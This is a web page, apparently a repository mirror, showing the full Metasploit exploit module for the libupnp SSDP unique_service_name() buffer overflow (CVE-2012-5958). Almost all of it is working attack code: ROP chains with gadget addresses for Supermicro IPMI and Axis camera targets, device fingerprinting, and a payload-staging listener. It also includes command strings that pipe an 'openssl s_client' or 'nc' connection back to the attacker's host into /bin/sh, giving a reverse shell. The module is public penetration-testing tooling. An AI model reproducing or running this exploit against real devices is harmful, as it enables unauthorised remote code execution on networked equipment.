Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78def initialize(info = {})9super(update_info(info,10'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',11'Description' => %q{12This module exploits a buffer overflow in the unique_service_name()13function of libupnp's SSDP processor. The libupnp library is used across14thousands of devices and is referred to as the Intel SDK for UPnP15Devices or the Portable SDK for UPnP Devices.1617Due to size limitations on many devices, this exploit uses a separate TCP18listener to stage the real payload.19},20'Author' => [21'hdm', # Exploit dev for Supermicro IPMI22'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI23'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI24'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M101125],26'License' => MSF_LICENSE,27'References' =>28[29[ 'CVE', '2012-5958' ],30[ 'OSVDB', '89611' ],31[ 'US-CERT-VU', '922681' ],32[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]33],34'Platform' => ['unix'],35'Arch' => ARCH_CMD,36'Privileged' => true,37'DefaultOptions' => { 'WfsDelay' => 10 },38'Payload' =>39{40#41# # The following BadChars do not apply since we stage the payload42# # through a secondary connection. This is just for reference.43#44# 'BadChars' =>45# # Bytes 0-8 are not allowed46# [*(0..8)].pack("C*") +47# # 0x09, 0x0a, 0x0d are allowed48# "\x0b\x0c\x0e\x0f" +49# # All remaining bytes up to space are restricted50# [*(0x10..0x1f)].pack("C*") +51# # Also not allowed52# "\x7f\x3a" +53# # Breaks our string quoting54# "\x22",5556# Unlimited since we stage this over a secondary connection57'Space' => 8000,58'DisableNops' => true,59'Compat' =>60{61'PayloadType' => 'cmd',62# specific payloads vary widely by device (openssl for IPMI, etc)63}64},65'Targets' =>66[6768[ "Automatic", { } ],6970#71# ROP targets are difficult to represent in the hash, use callbacks instead72#73[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {7475# The callback handles all target-specific settings76:callback => :target_supermicro_ipmi_131,7778# This matches any line of the SSDP M-SEARCH response79:fingerprint =>80/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi81#82# SSDP response:83# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.184# http://192.168.xx.xx:49152/IPMIdevicedesc.xml85# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice8687# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)8889} ],90[ "Axis Camera M1011 5.20.1 UPnP/1.4.1", {9192# The callback handles all target-specific settings93:callback => :target_axis_m1011_141,9495# This fingerprint may not be specific enough to be used automatically.96#:fingerprint =>97# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi98#99# SSDP response:100# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1101# http://192.168.xx.xx:49152/rootdesc1.xml102# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice103104} ],105106[ "Debug Target", {107108# The callback handles all target-specific settings109:callback => :target_debug110111} ]112113],114'DefaultTarget' => 0,115'DisclosureDate' => '2013-01-29'))116117register_options(118[119Opt::RHOST(),120Opt::RPORT(1900),121OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),122OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])123])124end125126127def exploit128129configure_socket130131target_info = choose_target132133unless self.respond_to?(target_info[:callback])134print_error("Invalid target specified: no callback function defined")135return136end137138buffer = self.send(target_info[:callback])139pkt =140"M-SEARCH * HTTP/1.1\r\n" +141"Host:239.255.255.250:1900\r\n" +142"ST:uuid:schemas:device:" + buffer + ":end\r\n" +143"Man:\"ssdp:discover\"\r\n" +144"MX:3\r\n\r\n"145146print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")147148udp_sock.sendto(pkt, rhost, rport, 0)1491501.upto(5) do151::IO.select(nil, nil, nil, 1)152break if session_created?153end154155# No handler() support right now156end157158159160# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc161def target_supermicro_ipmi_131162163# Create a fixed-size buffer for the payload164buffer = Rex::Text.rand_text_alpha(2000)165166# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()167buffer[0,1] = '"'168buffer[1999,1] = '"'169170# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise171cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])172173# Start a listener174start_listener(true)175176# Figure out the port we picked177cbport = self.service.getsockname[2]178179# Restart the service and use openssl to stage the real payload180# Staged because only ~150 bytes of contiguous data are available before mangling181cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"182buffer[432, cmd.length] = cmd183184# Adjust $r3 to point from the bottom of the stack back into our buffer185buffer[304,4] = [0x4009daf8].pack("V") #186# 0x4009daf8: add r3, r3, r4, lsl #2187# 0x4009dafc: ldr r0, [r3, #512] ; 0x200188# 0x4009db00: pop {r4, r10, pc}189190# The offset (right-shifted by 2 ) to our command string above191buffer[284,4] = [0xfffffe78].pack("V") #192193# Copy $r3 into $r0194buffer[316,4] = [0x400db0ac].pack("V")195# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1196# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)197198# Move our stack pointer down so as not to corrupt our payload199buffer[320,4] = [0x400a5568].pack("V")200# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198201# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}202203# Finally return to system() with $r0 pointing to our string204buffer[141,4] = [0x400add8c].pack("V")205206return buffer207=begin20800008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev20900031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev21000032000-00055000 rwxp 00000000 00:00 0 [heap]21140000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so21240015000-40017000 rwxp 00000000 00:00 02134001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so2144001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so2154001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so2164002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so21740034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so21840035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so21940036000-40078000 rwxp 00000000 00:00 022040078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so22140180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so22240182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so22340185000-40187000 rwxp 00000000 00:00 0224bd600000-bd601000 ---p 00000000 00:00 0225bd601000-bd800000 rwxp 00000000 00:00 0226bd800000-bd801000 ---p 00000000 00:00 0227bd801000-bda00000 rwxp 00000000 00:00 0228bdc00000-bdc01000 ---p 00000000 00:00 0229bdc01000-bde00000 rwxp 00000000 00:00 0230be000000-be001000 ---p 00000000 00:00 0231be001000-be200000 rwxp 00000000 00:00 0232be941000-be956000 rwxp 00000000 00:00 0 [stack]233=end234235end236237# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc238def target_axis_m1011_141239240# Create a fixed-size buffer for the payload241buffer = Rex::Text.rand_text_alpha(2000)242243# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()244buffer[0,1] = '"'245buffer[1999,1] = '"'246247# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise248cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])249250# Start a listener251start_listener()252253# Figure out the port we picked254cbport = self.service.getsockname[2]255256# Initiate a callback connection257cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"258buffer[1, cmd.length] = cmd259260# Mask to avoid forbidden bytes, popped into $r4261buffer[284,4] = [0x0D0D0D0D].pack("V")262263# Move $r4 to $r0264buffer[304,4] = [0x40093848].pack("V")265#MEMORY:40093848 MOV R0, R4266#MEMORY:4009384C LDMFD SP!, {R4,PC}267268# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4269buffer[308,4] = [0x32FB9D83].pack("V")270271# Set $r0 to system() address : $r0 = $r4 + $r0272buffer[312,4] = [0x40093844].pack("V")273#MEMORY:40093844 ADD R4, R4, R0274#MEMORY:40093848 MOV R0, R4275#MEMORY:4009384C LDMFD SP!, {R4,PC}276277# Move $r0 to $r3 : system() address278buffer[320,4] = [0x400D65BC].pack("V")279#MEMORY:400D65BC MOV R3, R0280#MEMORY:400D65C0 MOV R0, R3281#MEMORY:400D65C4 ADD SP, SP, #0x10282#MEMORY:400D65C8 LDMFD SP!, {R4,PC}283284# Move $r2 to $r0 : offset to buffer[-1]285buffer[344,4] = [0x400ADCDC].pack("V")286#MEMORY:400ADCDC MOV R0, R2287#MEMORY:400ADCE0 ADD SP, SP, #8288#MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}289290# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4291buffer[356,4] = [0xFFFFFEB2].pack("V")292293# Set $r0 to command str offset : $r0 = $r4 + $r0294buffer[376,4] = [0x40093844].pack("V")295#MEMORY:40093844 ADD R4, R4, R0296#MEMORY:40093848 MOV R0, R4297#MEMORY:4009384C LDMFD SP!, {R4,PC}298299# Jump to system() function300buffer[384,4] = [0x4009FEA4].pack("V")301#MEMORY:4009FEA4 MOV PC, R3302303return buffer304=begin30500008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp30600032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp30700033000-00055000 rwxp 00000000 00:00 0 [heap]30840000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so3094001d000-4001f000 rwxp 00000000 00:00 031040024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so31140025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so31240026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so3134002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so31440035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so31540036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so3164004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so31740051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so31840052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so31940053000-40055000 rwxp 00000000 00:00 032040055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so3214016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so32240173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so32340175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so32440176000-40179000 rwxp 00000000 00:00 032540179000-4017a000 ---p 00000000 00:00 03264017a000-40979000 rwxp 00000000 00:00 032740979000-4097a000 ---p 00000000 00:00 03284097a000-41179000 rwxp 00000000 00:00 032941179000-4117a000 ---p 00000000 00:00 03304117a000-41979000 rwxp 00000000 00:00 033141979000-4197a000 ---p 00000000 00:00 03324197a000-42179000 rwxp 00000000 00:00 033342179000-4217a000 ---p 00000000 00:00 03344217a000-42979000 rwxp 00000000 00:00 033542979000-4297a000 ---p 00000000 00:00 03364297a000-43179000 rwxp 00000000 00:00 0337bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]338=end339340end341342# Generate a buffer that provides a starting point for exploit development343def target_debug344Rex::Text.pattern_create(2000)345end346347def stage_real_payload(cli)348print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")349cli.put(payload.encoded + "\n")350end351352def start_listener(ssl = false)353354comm = datastore['ListenerComm']355if comm == "local"356comm = ::Rex::Socket::Comm::Local357else358comm = nil359end360361self.service = Rex::Socket::TcpServer.create(362'LocalPort' => datastore['CBPORT'],363'SSL' => ssl,364'SSLCert' => datastore['SSLCert'],365'Comm' => comm,366'Context' =>367{368'Msf' => framework,369'MsfExploit' => self,370})371372self.service.on_client_connect_proc = Proc.new { |client|373stage_real_payload(client)374}375376# Start the listening service377self.service.start378end379380#381# Shut down any running services382#383def cleanup384super385if self.service386print_status("Shutting down payload stager listener...")387begin388self.service.deref if self.service.kind_of?(Rex::Service)389if self.service.kind_of?(Rex::Socket)390self.service.close391self.service.stop392end393self.service = nil394rescue ::Exception395end396end397end398399def choose_target400# If the user specified a target, use that one401return self.target unless self.target.name =~ /Automatic/402403msearch =404"M-SEARCH * HTTP/1.1\r\n" +405"Host:239.255.255.250:1900\r\n" +406"ST:upnp:rootdevice\r\n" +407"Man:\"ssdp:discover\"\r\n" +408"MX:3\r\n\r\n"409410# Fingerprint the service through SSDP411udp_sock.sendto(msearch, rhost, rport, 0)412413res = nil4141.upto(5) do415res,_,_ = udp_sock.recvfrom(65535, 1.0)416break if res and res =~ /^(Server|Location)/mi417udp_sock.sendto(msearch, rhost, rport, 0)418end419420self.targets.each do |t|421return t if t[:fingerprint] and res =~ t[:fingerprint]422end423424if res and res.to_s.length > 0425print_status("No target matches this fingerprint")426print_status("")427res.to_s.split("\n").each do |line|428print_status(" #{line.strip}")429end430print_status("")431else432print_status("The system #{rhost} did not reply to our M-SEARCH probe")433end434435fail_with(Failure::NoTarget, "No compatible target detected")436end437438# Accessor for our TCP payload stager439attr_accessor :service440441# We need an unconnected socket because SSDP replies often come442# from a different sent port than the one we sent to. This also443# breaks the standard UDP mixin.444def configure_socket445self.udp_sock = Rex::Socket::Udp.create({446'Context' => { 'Msf' => framework, 'MsfExploit' => self }447})448add_socket(self.udp_sock)449end450451#452# Required since we aren't using the normal mixins453#454455def rhost456datastore['RHOST']457end458459def rport460datastore['RPORT']461end462463# Accessor for our UDP socket464attr_accessor :udp_sock465466end467468469